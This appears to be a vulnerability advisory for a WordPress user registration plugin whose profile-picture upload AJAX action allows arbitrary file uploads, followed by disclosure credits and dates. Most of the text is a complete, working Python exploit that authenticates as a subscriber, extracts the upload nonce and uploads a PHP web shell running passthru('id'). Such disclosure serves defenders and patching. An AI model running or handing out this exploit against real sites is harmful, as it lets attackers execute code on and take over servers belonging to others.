The plugin does not properly restrict the files to be uploaded via an AJAX action available to both unauthenticated and authenticated users, which could allow unauthenticated users to upload PHP files for example.
The following Python script automates the exploitation of this plugin by uploading a malicious PHP file (tested on a default installation of WordPress 6.1) --- import io import random import re import string import requests BASE_URL = input("Enter the target URL: ") USERNAME = input("Enter the subscriber user: ") PASSWORD = input("Enter the user password: ") PAYLOAD = io.StringIO("""\ <?php passthru('id'); """) FILENAME = "".join(random.choices(string.ascii_letters, k=10)) + ".php" with requests.Session() as session: session.headers.update({ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" }) # Authenticate as user. session.get(f"{BASE_URL}/wp-login.php") response = session.post(f"{BASE_URL}/wp-login.php", data={ "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "testcookie": "1" }) # Extract the "user_registration_profile_picture_upload_nonce" nonce if '","user_registration_profile_picture_upload_nonce":"' not in response.text: print("[!] Nonce not found :(") exit(1) match = re.search(r'\"user_registration_profile_picture_upload_nonce\":\"(\w+)\"', response.text) if not match: print("[!] Nonce not found :(") exit(1) nonce = match.group(1) # Upload the payload response = session.post(f"{BASE_URL}/wp-admin/admin-ajax.php", data={ "action": "user_registration_profile_pic_upload", "security": nonce, "valid_extension": "application/php", }, files={"file": (FILENAME, PAYLOAD)}) print(response.json()["data"]["url"])
UPLOAD
cydave
cydave
Yes
2022-11-21 (about 6 months ago)
2022-11-21 (about 6 months ago)
2022-12-08 (about 5 months ago)